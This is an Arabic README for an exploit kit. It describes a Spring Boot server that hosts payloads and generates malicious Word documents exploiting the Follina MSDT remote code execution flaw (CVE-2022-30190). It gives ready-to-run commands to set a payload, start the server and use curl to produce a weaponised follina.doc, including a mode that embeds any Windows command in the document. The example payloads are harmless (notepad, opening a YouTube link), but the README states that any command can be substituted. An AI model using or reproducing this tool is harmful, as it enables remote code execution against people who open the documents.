استغلال Follina MS-MSDT مع Spring Boot

يحتوي هذا المستودع على تطبيق Spring Boot بسيط يعمل كخادم لاستضافة/تفعيل حمولات Follina، وكمُولّد لمستندات Word ضارة جاهزة للاستخدام كنواقل هجوم لاستغلال CVE-2022-30190.

تتكون هذه الثغرة من تنفيذ عن بعد للكود عبر MSDT (أداة تشخيص الدعم من مايكروسوفت ويندوز).

الحمولة من جانب الخادم

لتقديم حمولة فريدة من اختيارك، يجب عليك:

• تحديد الحمولة، مثال:

export FOLLINA_PAYLOAD="notepad.exe"

• تشغيل الخادم لاستضافة الحمولة الثابتة:

mvn spring-boot:run

• توليد مستند Word "Follina":

curl -s http://localhost:8080/generateDoc?address=http://192.168.64.128:8080 -o follina.doc

إذا كنت ترغب في تغيير الحمولة الحالية، يجب عليك إيقاف الخادم النشط حاليًا أولاً، ثم تكرار الخطوات بعد تعريف الحمولة الجديدة.

ملاحظة: يمكن استبدال الحمولة بأي أمر آخر، طالما يمكن تشغيله عبر موجه أوامر ويندوز.

الحمولة من جانب العميل

لتقديم حمولة من جانب العميل من اختيارك، يجب عليك:

• تشغيل الخادم لتفعيل الحمولات وقت التشغيل:

mvn spring-boot:run

• توليد مستند Word "Follina" مع تحديد معلمة الاستعلام cmd، مثال:

curl -sG http://localhost:8080/generateDoc --data-urlencode 'address=http://192.168.64.128:8080' --data-urlencode 'cmd=start msedge.exe https://www.youtube.com/watch?v=zqTwOoElxBA' -o follina.doc

في هذه الحالة، تكون الحمولة مضمنة داخل المستند، وستحتاج ببساطة إلى التفعيل عن طريق الاتصال بالخادم. بهذه الطريقة، يمكنك توزيع حمولات مختلفة متعددة عبر مستندات مختلفة ولن تضطر إلى إعادة تشغيل الخادم لتفعيل تغييرات الحمولة - حيث يمكنك ببساطة توليد مستند جديد مع الحمولة المطلوبة مضمنة.

شكر وتقدير

شكر جزيل لـ John Hammond على تقديم تنفيذ Python ومشاركة تحليله للثغرة.